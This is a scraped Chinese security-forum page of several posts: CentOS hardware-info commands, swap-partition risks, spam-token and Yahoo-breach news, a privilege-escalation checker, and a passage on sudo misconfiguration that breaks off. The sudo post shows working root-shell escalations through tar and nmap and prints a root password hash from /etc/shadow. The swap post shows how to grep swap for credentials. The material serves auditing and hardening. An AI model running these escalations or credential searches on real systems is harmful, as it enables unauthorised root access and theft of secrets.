Linux CentOS查看硬件信息大全

运维安全ttgo2 发表了文章 • 0 个评论 • 178 次浏览 • 2018-09-16 11:26 • 来自相关话题

在企业安全运维的过程,系统资产是非常重要的环节,下面的Linux命令是针对硬件信息的收集,如果这个写成自动化脚本,可以极大提高工作效率。1、CentOS常用命令查看 CPU
[root@bogon ~]# more /proc/cpuinfo | grep "model name"
model name : Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
[root@bogon ~]#
2、CentOS常用命令查看内存
[root@bogon ~]# free -m
total used free shared buffers cached
Mem: 980 765 215 0 42 411
-/+ buffers/cache: 311 668
Swap: 1983 0 1983
[root@bogon ~]#
3、CentOS常用命令查看cpu是32位还是64位​
[root@bogon ~]# getconf LONG_BIT
64
[root@bogon ~]#
4、使用CentOS常用命令查看当前linux的版本​
[root@bogon ~]# cat /etc/redhat-release
CentOS release 6.5 (Final)
[root@bogon ~]#
5、使用CentOS常用命令查看内核版本​
[root@bogon ~]# uname -a
Linux bogon 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
[root@bogon ~]# uname -r
2.6.32-431.el6.x86_64
[root@bogon ~]# 

6、使用CentOS常用命令查看硬盘和分区​
[root@bogon ~]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda2 18G 2.7G 14G 17% /
tmpfs 491M 80K 491M 1% /dev/shm
/dev/sda1 291M 34M 242M 13% /boot
/dev/sr0 4.2G 4.2G 0 100% /media/CentOS_6.5_Final
[root@bogon ~]#
7、使用CentOS常用命令查看键盘布局
[root@bogon ~]# cat /etc/sysconfig/keyboard
KEYTABLE="us"
MODEL="pc105+inet"
LAYOUT="us"
KEYBOARDTYPE="pc"
[root@bogon ~]# 8、使用CentOS常用命令查看selinux情况​
[root@bogon ~]# sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
[root@bogon ~]#
9、查看IP地址
[root@bogon ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:AD:6F:DC
inet addr:192.168.0.103 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fead:6fdc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:391924 errors:0 dropped:0 overruns:0 frame:0
TX packets:10831 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:71665413 (68.3 MiB) TX bytes:816104 (796.9 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:164 errors:0 dropped:0 overruns:0 frame:0
TX packets:164 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:14626 (14.2 KiB) TX bytes:14626 (14.2 KiB)

[root@bogon ~]#
10、使用CentOS常用命令查看所属时区和是否使用UTC时间
[root@bogon ~]# cat /etc/sysconfig/clock
ZONE="America/Los_Angeles"
[root@bogon ~]#
11、使用CentOS常用命令查看主机名​
[root@bogon ~]# cat /etc/sysconfig/network
NETWORKING=yes
HOSTNAME=localhost.localdomain
[root@bogon ~]# 12、使用CentOS常用命令查看开机运行时间
[root@bogon ~]# uptime
20:18:41 up 5:16, 3 users, load average: 0.00, 0.00, 0.04
[root@bogon ~]#
13、查看主板信息
[root@bogon ~]# dmidecode |more
# dmidecode 2.11
SMBIOS 2.7 present.
620 structures occupying 29188 bytes.
Table at 0x000E0010.

Handle 0x0000, DMI type 0, 24 bytes
BIOS Information
Vendor: Phoenix Technologies LTD
Version: 6.00
Release Date: 07/02/2015
Address: 0xEA5E0
Runtime Size: 88608 bytes
ROM Size: 64 kB
Characteristics:
ISA is supported
PCI is supported
PC Card (PCMCIA) is supported
PNP is supported
APM is supported
BIOS is upgradeable
BIOS shadowing is allowed
ESCD support is available
Boot from CD is supported
Selectable boot is supported
EDD is supported
Print screen service is supported (int 5h)
8042 keyboard services are supported (int 9h)
Serial services are supported (int 14h)
Printer services are supported (int 17h)
CGA/mono video services are supported (int 10h)
ACPI is supported
Smart battery 14、查看磁盘使用情况
[root@bogon ~]# fdisk -l

Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000ce1a7

Device Boot Start End Blocks Id System
/dev/sda1 * 1 39 307200 83 Linux
Partition 1 does not end on cylinder boundary.
/dev/sda2 39 2358 18631680 83 Linux
/dev/sda3 2358 2611 2031616 82 Linux swap / Solaris

Disk /dev/sdb: 5368 MB, 5368709120 bytes
255 heads, 63 sectors/track, 652 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x084395f5

Device Boot Start End Blocks Id System
/dev/sdb1 1 652 5237158+ 83 Linux
[root@bogon ~]# 查看全部
在企业安全运维的过程,系统资产是非常重要的环节,下面的Linux命令是针对硬件信息的收集,如果这个写成自动化脚本,可以极大提高工作效率。1、CentOS常用命令查看 CPU
[root@bogon ~]# more /proc/cpuinfo | grep "model name"
model name : Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz
[root@bogon ~]#
2、CentOS常用命令查看内存
[root@bogon ~]# free -m
total used free shared buffers cached
Mem: 980 765 215 0 42 411
-/+ buffers/cache: 311 668
Swap: 1983 0 1983
[root@bogon ~]#
3、CentOS常用命令查看cpu是32位还是64位​
[root@bogon ~]# getconf LONG_BIT
64
[root@bogon ~]#
4、使用CentOS常用命令查看当前linux的版本​
[root@bogon ~]# cat /etc/redhat-release
CentOS release 6.5 (Final)
[root@bogon ~]#
5、使用CentOS常用命令查看内核版本​
[root@bogon ~]# uname -a
Linux bogon 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
[root@bogon ~]# uname -r
2.6.32-431.el6.x86_64
[root@bogon ~]# 

6、使用CentOS常用命令查看硬盘和分区​
[root@bogon ~]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda2 18G 2.7G 14G 17% /
tmpfs 491M 80K 491M 1% /dev/shm
/dev/sda1 291M 34M 242M 13% /boot
/dev/sr0 4.2G 4.2G 0 100% /media/CentOS_6.5_Final
[root@bogon ~]#
7、使用CentOS常用命令查看键盘布局
[root@bogon ~]# cat /etc/sysconfig/keyboard
KEYTABLE="us"
MODEL="pc105+inet"
LAYOUT="us"
KEYBOARDTYPE="pc"
[root@bogon ~]#
8、使用CentOS常用命令查看selinux情况​
[root@bogon ~]# sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
[root@bogon ~]#
9、查看IP地址
[root@bogon ~]# ifconfig 
eth0 Link encap:Ethernet HWaddr 00:0C:29:AD:6F:DC
inet addr:192.168.0.103 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fead:6fdc/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:391924 errors:0 dropped:0 overruns:0 frame:0
TX packets:10831 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:71665413 (68.3 MiB) TX bytes:816104 (796.9 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:164 errors:0 dropped:0 overruns:0 frame:0
TX packets:164 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:14626 (14.2 KiB) TX bytes:14626 (14.2 KiB)

[root@bogon ~]#
10、使用CentOS常用命令查看所属时区和是否使用UTC时间
[root@bogon ~]# cat /etc/sysconfig/clock
ZONE="America/Los_Angeles"
[root@bogon ~]#
11、使用CentOS常用命令查看主机名​
[root@bogon ~]# cat /etc/sysconfig/network
NETWORKING=yes
HOSTNAME=localhost.localdomain
[root@bogon ~]#
12、使用CentOS常用命令查看开机运行时间
[root@bogon ~]# uptime
20:18:41 up 5:16, 3 users, load average: 0.00, 0.00, 0.04
[root@bogon ~]#
13、查看主板信息
[root@bogon ~]# dmidecode |more
# dmidecode 2.11
SMBIOS 2.7 present.
620 structures occupying 29188 bytes.
Table at 0x000E0010.

Handle 0x0000, DMI type 0, 24 bytes
BIOS Information
Vendor: Phoenix Technologies LTD
Version: 6.00
Release Date: 07/02/2015
Address: 0xEA5E0
Runtime Size: 88608 bytes
ROM Size: 64 kB
Characteristics:
ISA is supported
PCI is supported
PC Card (PCMCIA) is supported
PNP is supported
APM is supported
BIOS is upgradeable
BIOS shadowing is allowed
ESCD support is available
Boot from CD is supported
Selectable boot is supported
EDD is supported
Print screen service is supported (int 5h)
8042 keyboard services are supported (int 9h)
Serial services are supported (int 14h)
Printer services are supported (int 17h)
CGA/mono video services are supported (int 10h)
ACPI is supported
Smart battery
14、查看磁盘使用情况
[root@bogon ~]# fdisk -l

Disk /dev/sda: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000ce1a7

Device Boot Start End Blocks Id System
/dev/sda1 * 1 39 307200 83 Linux
Partition 1 does not end on cylinder boundary.
/dev/sda2 39 2358 18631680 83 Linux
/dev/sda3 2358 2611 2031616 82 Linux swap / Solaris

Disk /dev/sdb: 5368 MB, 5368709120 bytes
255 heads, 63 sectors/track, 652 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x084395f5

Device Boot Start End Blocks Id System
/dev/sdb1 1 652 5237158+ 83 Linux
[root@bogon ~]#

火币网招聘WEB安全工程师

企业招聘专栏Mosuan 发表了文章 • 2 个评论 • 66 次浏览 • 2018-09-15 15:44 • 来自相关话题

职位描述:
1. 负责产品安全评审、安全测试、代码审核、渗透测试工作;
2. 针对产品安全漏洞与问题能给出有效、可落定的解决方案
3. 负责响应、处置突发和应急事件;
4. 负责最新安全漏洞研究、跟进工作

岗位要求:
1、熟练掌握常见WEB、IOS、Android系统安全漏洞原理、利用方式以及对解决方案有较深入理解;
2、熟悉各种攻击方法,能独立研究发现新的漏洞;
3、了解脚本语言,可以将重复性的工作转换成自动或半自动化脚本实现;
4、对工作有热情,耐心、责任心强,具备较好的沟通能力和团队协作意识。
5、有SRC排名者优先
6、优秀的实习生也考虑
 
工作地点:
北京西二旗
 
薪资:
10-30K
 
简历发 sec@huobi.com 查看全部
职位描述:
1. 负责产品安全评审、安全测试、代码审核、渗透测试工作;
2. 针对产品安全漏洞与问题能给出有效、可落定的解决方案
3. 负责响应、处置突发和应急事件;
4. 负责最新安全漏洞研究、跟进工作

岗位要求:
1、熟练掌握常见WEB、IOS、Android系统安全漏洞原理、利用方式以及对解决方案有较深入理解;
2、熟悉各种攻击方法,能独立研究发现新的漏洞;
3、了解脚本语言,可以将重复性的工作转换成自动或半自动化脚本实现;
4、对工作有热情,耐心、责任心强,具备较好的沟通能力和团队协作意识。
5、有SRC排名者优先
6、优秀的实习生也考虑
 
工作地点:
北京西二旗
 
薪资:
10-30K
 
简历发 sec@huobi.com

Linux 系统下SWAP区的安全隐患

系统安全ttgo2 发表了文章 • 0 个评论 • 159 次浏览 • 2018-09-13 22:18 • 来自相关话题

一、 Linux的交换分区Linux内核为了提高读写效率与速度,会将文件在内存中进行缓存,这部分内存就是Cache Memory(缓存内存)。即使你的程序运行结束后,Cache Memory也不会自动释放。这就会导致你在Linux系统中程序频繁读写文件后,你会发现可用物理内存变少。当系统的物理内存不够用的时候,就需要将物理内存中的一部分空间释放出来,以供当前运行的程序使用。那些被释放的空间可能来自一些很长时间没有什么操作的程序,这些被释放的空间被临时保存到Swap空间中,等到那些程序要运行时,再从Swap分区中恢复保存的数据到内存中。这样,系统总是在物理内存不够时,才进行Swap交换。
二、SWAP分区中的安全问题
交换分区中存在十分敏感的信息内容,其中包括了密码,证书,email等重要信息,特别为对后渗透阶段提供了帮助,因此潜在的风险巨大,风险点如下:
Linux的帐户和明文密码
Web登录/密码
Email地址
Wifi的SSID和密钥
GPG私钥
Keepass主密钥
Samba证书三、swap的常用命令
3.1 查看swap的设备位置
[root@bogon ~]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1

[root@bogon ~]# cat /proc/swaps
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon ~]#

3.2 查看swap的分区大小
[root@bogon ~]# free -m
total used free shared buffers cached
Mem: 980 577 403 0 26 211
-/+ buffers/cache: 338 642
Swap: 1983 0 1983
3.3 swap 分区大小设置
系统的Swap分区大小设置多大才是最优呢?这是没有标准答案,ORACLE的官方文档就推荐如下设置
4G以内的物理内存,SWAP 设置为内存的2倍。
4-8G的物理内存,SWAP 等于内存大小。
8-64G 的物理内存,SWAP 设置为8G。
64-256G物理内存,SWAP 设置为16G。四、查找分区内的敏感信息
4.1 查看email 相关信息
因为是虚拟机,没有真实使用记录,随意没有有价值的信息,操作命令如下:
[root@bogon ~]# strings /dev/sda3 | grep -i 'email'
for root, dirs, files in os.walk('python/Lib/email'):
email.utils
pkcs9_email_address
ext_key_usage_email_protect
SEC_OID_EXT_KEY_USAGE_EMAIL_PROTECT
sec_oid_ext_key_usage_email_protect
SEC_OID_PKCS9_EMAIL_ADDRESS
sec_oid_pkcs9_email_address
Needed for Python 1.5.2 (no email package available)
Determine the subject for the email.
SEC_ERROR_NO_EMAIL_CERT
email_trust_str
email_address
certificateUsageEmailSigner
certificateUsageEmailRecipient
email
SEC_ERROR_NO_EMAIL_CERT: Not encrypted or signed: you do not yet have an email certificate.
email and object signing it's trusted to create server
4.2 自动化脚本
脚本的github为:https://github.com/sevagas/swap_digger,大家可以自行下载,进行尝试










 
五、加固方法
5.1 禁止使用swap
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 8 -1
[root@bogon swap_digger-master]# swapoff /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
[root@bogon swap_digger-master]# swapon /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon swap_digger-master]#
5.2 对swap进行加密 查看全部
一、 Linux的交换分区Linux内核为了提高读写效率与速度,会将文件在内存中进行缓存,这部分内存就是Cache Memory(缓存内存)。即使你的程序运行结束后,Cache Memory也不会自动释放。这就会导致你在Linux系统中程序频繁读写文件后,你会发现可用物理内存变少。当系统的物理内存不够用的时候,就需要将物理内存中的一部分空间释放出来,以供当前运行的程序使用。那些被释放的空间可能来自一些很长时间没有什么操作的程序,这些被释放的空间被临时保存到Swap空间中,等到那些程序要运行时,再从Swap分区中恢复保存的数据到内存中。这样,系统总是在物理内存不够时,才进行Swap交换。
二、SWAP分区中的安全问题
交换分区中存在十分敏感的信息内容,其中包括了密码,证书,email等重要信息,特别为对后渗透阶段提供了帮助,因此潜在的风险巨大,风险点如下:
Linux的帐户和明文密码
Web登录/密码
Email地址
Wifi的SSID和密钥
GPG私钥
Keepass主密钥
Samba证书
三、swap的常用命令
3.1 查看swap的设备位置
[root@bogon ~]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1

[root@bogon ~]# cat /proc/swaps
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon ~]#

3.2 查看swap的分区大小
[root@bogon ~]# free -m
total used free shared buffers cached
Mem: 980 577 403 0 26 211
-/+ buffers/cache: 338 642
Swap: 1983 0 1983
3.3 swap 分区大小设置
系统的Swap分区大小设置多大才是最优呢?这是没有标准答案,ORACLE的官方文档就推荐如下设置
4G以内的物理内存,SWAP 设置为内存的2倍。
4-8G的物理内存,SWAP 等于内存大小。
8-64G 的物理内存,SWAP 设置为8G。
64-256G物理内存,SWAP 设置为16G。
四、查找分区内的敏感信息
4.1 查看email 相关信息
因为是虚拟机,没有真实使用记录,随意没有有价值的信息,操作命令如下:
[root@bogon ~]# strings /dev/sda3 | grep -i 'email'
for root, dirs, files in os.walk('python/Lib/email'):
email.utils
pkcs9_email_address
ext_key_usage_email_protect
SEC_OID_EXT_KEY_USAGE_EMAIL_PROTECT
sec_oid_ext_key_usage_email_protect
SEC_OID_PKCS9_EMAIL_ADDRESS
sec_oid_pkcs9_email_address
Needed for Python 1.5.2 (no email package available)
Determine the subject for the email.
SEC_ERROR_NO_EMAIL_CERT
email_trust_str
email_address
certificateUsageEmailSigner
certificateUsageEmailRecipient
email
SEC_ERROR_NO_EMAIL_CERT: Not encrypted or signed: you do not yet have an email certificate.
email and object signing it's trusted to create server
4.2 自动化脚本
脚本的github为:https://github.com/sevagas/swap_digger,大家可以自行下载,进行尝试

swap_digger.png


swap_digger_extended.png

 
五、加固方法
5.1 禁止使用swap
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 8 -1
[root@bogon swap_digger-master]# swapoff /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
[root@bogon swap_digger-master]# swapon /dev/sda3
[root@bogon swap_digger-master]# swapon -s
Filename Type Size Used Priority
/dev/sda3 partition 2031608 0 -1
[root@bogon swap_digger-master]#
5.2 对swap进行加密

比特币千币网:警惕以太坊里的垃圾合约,伪造交易进行广告推广

安全资讯kakaxi 发表了文章 • 0 个评论 • 62 次浏览 • 2018-09-11 11:01 • 来自相关话题

千币网讯(www.btc112.com)近日,降维安全实验室(johnwick.io)在以太坊智能合约监控系统中监测到一个垃圾推广合约ERC20 (blockwell.ai KYC Casper Token),垃圾推广通过调用垃圾合约的某公开方法(方法签名: 0x975ef7df)虚构了大量(每500个一组,转账数量100个代币)受害地址之间的转账交易,并虚假记录了这些转账交易的Transfer()事件日志,导致大批钱包应用依据此事件记录,向无辜受害用户推送了此垃圾代币的交易转账通知,变相成为了此垃圾代币的推广宣传帮凶。在短短一天时间内,该交易者伪造了50余万笔虚假交易(截至发稿前为止)进行垃圾推广。
垃圾交易者地址: 
0xaaf70e052b76c9bd177e24a0e249f17cc3486ea0 
垃圾合约地址:
0x212d95fccdf0366343350f486bda1ceafc0c2d63 
垃圾代币名称: ERC20 (blockwell.ai KYC Casper Token)
以太坊-ETH$195.8348-3.33% 查看全部
千币网讯(www.btc112.com)近日,降维安全实验室(johnwick.io)在以太坊智能合约监控系统中监测到一个垃圾推广合约ERC20 (blockwell.ai KYC Casper Token),垃圾推广通过调用垃圾合约的某公开方法(方法签名: 0x975ef7df)虚构了大量(每500个一组,转账数量100个代币)受害地址之间的转账交易,并虚假记录了这些转账交易的Transfer()事件日志,导致大批钱包应用依据此事件记录,向无辜受害用户推送了此垃圾代币的交易转账通知,变相成为了此垃圾代币的推广宣传帮凶。在短短一天时间内,该交易者伪造了50余万笔虚假交易(截至发稿前为止)进行垃圾推广。
垃圾交易者地址: 
0xaaf70e052b76c9bd177e24a0e249f17cc3486ea0 
垃圾合约地址:
0x212d95fccdf0366343350f486bda1ceafc0c2d63 
垃圾代币名称: ERC20 (blockwell.ai KYC Casper Token)
以太坊-ETH$195.8348-3.33%

黑客潜入电子邮件账户偷走比特币,女商人失2.8万告雅虎

安全资讯kakaxi 发表了文章 • 0 个评论 • 76 次浏览 • 2018-09-11 11:00 • 来自相关话题

 
【香港明报专讯】一名温哥华商人最近入禀法院向雅虎(Yahoo)提出诉讼,指自己用雅虎电邮帐户注册比特币账户,却被黑客入盗取所有个人资料,并从她的比特币户口偷走2.8万元。她指雅虎多年来被黑客多次入侵盗取客户资料,2016年的一次更有5亿人受害,但雅虎没有好好保护客户隐私,违反诚信,导致客户蒙受损失,商人更希望将诉讼提升至集体诉讼。
温哥华商人查兰(Rana Chalan)在8月10日向卑诗最高法院提出诉讼,根据诉状,她在2017年12月3日注册了一个雅虎电邮帐户,并用此电邮来登记她所有的比特币户口。在2018年2月16日,黑客入侵了她的雅虎帐户,修改了确认户口的资料,并用她的雅虎帐号登入了她的比特币户口,偷走了2.8万加元。她至今都无法重新控制该雅虎帐户。
入禀状又说,查兰以前也曾开过多个雅虎帐户,多年来满意雅虎的服务,当她在2017年12月开设新雅虎帐户时,并不想过雅虎有违反诚信的问题。
查兰指出,雅虎在2016年9月22日发出一则新闻稿,承认2014年有5亿名客户的个人资料被黑客盗取,并称是「国家级」黑客所为。被盗的数据包括用户名称、电邮地址、电话号码、出生日期、密码,甚至安全问题及答案。然后,同年12月14日,雅虎再向客户发出另一次通知,指2013年8月原来还有另一次黑客入侵,黑客盗取的数据还包括客户的财务信息,例如信用卡、零售户口、银行户口、税务数据、社会安全号码(SIN)等。入禀状续称,美国通信巨人在2017年6月买下雅虎后,雅虎陆续向3200万名客户发出通知,原来在2015至2016年间,又发生过另一次黑客入侵。
查兰表示,在这些黑客入侵的期间,自己是5亿名私人或财务数据被盗的雅虎客户之一,她为卑诗用户向雅虎提出集体诉讼。她指出,雅虎在2016年9月及12月发出的黑客入侵通告中,曾承诺会保护所有客户资料,包括加拿大客户。
诉状指雅虎在保护客户资料上出现疏忽,违反保护客户资料的责任及诚信,违反客户开户时所同意的合约内容,又指雅虎刻意隐藏或隐瞒安全隐患系信息,属涉及诈骗或欺骗。查兰要求雅虎赔偿,又要求法庭向雅虎判决惩罚性罚金。不过,入禀状未说明索偿金额。 查看全部

 
【香港明报专讯】一名温哥华商人最近入禀法院向雅虎(Yahoo)提出诉讼,指自己用雅虎电邮帐户注册比特币账户,却被黑客入盗取所有个人资料,并从她的比特币户口偷走2.8万元。她指雅虎多年来被黑客多次入侵盗取客户资料,2016年的一次更有5亿人受害,但雅虎没有好好保护客户隐私,违反诚信,导致客户蒙受损失,商人更希望将诉讼提升至集体诉讼。
温哥华商人查兰(Rana Chalan)在8月10日向卑诗最高法院提出诉讼,根据诉状,她在2017年12月3日注册了一个雅虎电邮帐户,并用此电邮来登记她所有的比特币户口。在2018年2月16日,黑客入侵了她的雅虎帐户,修改了确认户口的资料,并用她的雅虎帐号登入了她的比特币户口,偷走了2.8万加元。她至今都无法重新控制该雅虎帐户。
入禀状又说,查兰以前也曾开过多个雅虎帐户,多年来满意雅虎的服务,当她在2017年12月开设新雅虎帐户时,并不想过雅虎有违反诚信的问题。
查兰指出,雅虎在2016年9月22日发出一则新闻稿,承认2014年有5亿名客户的个人资料被黑客盗取,并称是「国家级」黑客所为。被盗的数据包括用户名称、电邮地址、电话号码、出生日期、密码,甚至安全问题及答案。然后,同年12月14日,雅虎再向客户发出另一次通知,指2013年8月原来还有另一次黑客入侵,黑客盗取的数据还包括客户的财务信息,例如信用卡、零售户口、银行户口、税务数据、社会安全号码(SIN)等。入禀状续称,美国通信巨人在2017年6月买下雅虎后,雅虎陆续向3200万名客户发出通知,原来在2015至2016年间,又发生过另一次黑客入侵。
查兰表示,在这些黑客入侵的期间,自己是5亿名私人或财务数据被盗的雅虎客户之一,她为卑诗用户向雅虎提出集体诉讼。她指出,雅虎在2016年9月及12月发出的黑客入侵通告中,曾承诺会保护所有客户资料,包括加拿大客户。
诉状指雅虎在保护客户资料上出现疏忽,违反保护客户资料的责任及诚信,违反客户开户时所同意的合约内容,又指雅虎刻意隐藏或隐瞒安全隐患系信息,属涉及诈骗或欺骗。查兰要求雅虎赔偿,又要求法庭向雅虎判决惩罚性罚金。不过,入禀状未说明索偿金额。

检查Linux是否被提权(unix-privesc-check)

系统安全ttgo2 发表了文章 • 0 个评论 • 204 次浏览 • 2018-09-08 23:54 • 来自相关话题

1、Unix/Linux提权漏洞快速检测工具unix-privesc-check

unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。该工具适用于安全审计、渗透测试和系统维护等场景。它可以检测与权限相关的各类文件的读写权限,如认证相关文件、重要配置文件、交换区文件、cron job文件、设备文件、其他用户的家目录、正在执行的文件等等。如果发现可以利用的漏洞,就会给出提示warning。 
unix-privesc-check并不会检测所有提权漏洞的潜在情况。它只是快速进行检测,并以简洁的方式给出提权漏洞相关的建议,大大减少用户在文件权限检测方面的枯燥工作的量。
将unix-privesc-check上传到目标主机上,或者直接在本机上。2 提权检查
执行:unix-privesc-check standard









 
转载 https://blog.csdn.net/noob_f/article/details/72758420
 
 
  查看全部
1、Unix/Linux提权漏洞快速检测工具unix-privesc-check

unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。该工具适用于安全审计、渗透测试和系统维护等场景。它可以检测与权限相关的各类文件的读写权限,如认证相关文件、重要配置文件、交换区文件、cron job文件、设备文件、其他用户的家目录、正在执行的文件等等。如果发现可以利用的漏洞,就会给出提示warning。 
unix-privesc-check并不会检测所有提权漏洞的潜在情况。它只是快速进行检测,并以简洁的方式给出提权漏洞相关的建议,大大减少用户在文件权限检测方面的枯燥工作的量。
将unix-privesc-check上传到目标主机上,或者直接在本机上。
2 提权检查
执行:unix-privesc-check standard

20170525222003505.png


20170525222051600.png

 
转载 https://blog.csdn.net/noob_f/article/details/72758420

 
 
 

讨论一下sudo的安全性问题

系统安全ttgo2 发表了文章 • 1 个评论 • 243 次浏览 • 2018-09-08 23:29 • 来自相关话题

最近看过一篇文章关于sudo的安全性的讨论,正好自己最近工作也与Linux有关,自己总结了一下,给大家一起分享,现在企业在Linux的使用中,越来越关注安全问题,运维中使用普通用户进行管理,遇到需要root账号执行时候,使用sudo 命令来提升自己执行权限,这样做是为了把账号权限降低,避免安全。
 
一、 sudo 是什么
sudo命令用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。
选项参数-b:在后台执行指令;
-h:显示帮助;
-H:将HOME环境变量设为新身份的HOME环境变量;
-k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;。
-l:列出目前用户可执行与无法执行的指令;
-p:改变询问密码的提示符号;
-s<shell>:执行指定的shell;
-u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份;
-v:延长密码有效期限5分钟;
-V :显示版本信息。举例: 使用sudo执行 cat /etc/shadow[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

[ttgo2@bogon ~]$ cat /etc/shadow
cat: /etc/shadow: Permission denied

[ttgo2@bogon ~]$ sudo cat /etc/shadow
[sudo] password for ttgo2:
root:$1$txEWMiG.$4kBR6Cfsl1fyeiT540BIC.:17351:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
二、 抛出问题
使用普通用户执行 sudo su - root 是不是直接使用root 账号了? 我们来看一下执行结果。
问题1:直接执行sudo su - root[ttgo2@bogon ~]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon ~]$ sudo su - root
[root@bogon ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon ~]#
 
还有其他多种操作可以直接提升到root用户,方法如下:
 
问题2:执行sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$ sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: testfile: Cannot stat: No such file or directory
[root@bogon tmp]#
[root@bogon tmp]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@bogon tmp]#
[root@bogon tmp]#
问题3:nmap 可以通过执行脚本来获取root的shell,执行如下[ttgo2@bogon tmp]$ id
uid=500(ttgo2) gid=500(ttgo2) groups=500(ttgo2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ echo "os.execute('/bin/sh')">/tmp/shell.nse
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$
[ttgo2@bogon tmp]$ sudo nmap --script=/tmp/shell.nse

Starting Nmap 5.51 ( http://nmap.org ) at 2018-09-08 08:00 PDT
sh-4.1#
sh-4.1#
sh-4.1#
sh-4.1#
这样的方法还有还有很多,比如:strace、ftp、nmap、tcpdump、except、nano,这些命令都是可以实现sudo + 命令 提权成root shell。问题是出在什么地方,我们下面来看一下
 
三,问题解决
3.1 问题根源:普通用户使用sudo 配置(对权限没有控制)
在Centos 6.X Linux系统中,默认多普通用户是不允许使用sudo命令的,如果使用就会提示如下信息:[sec17@bogon tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[sec17@bogon tmp]$ sudo cat /etc/shadow

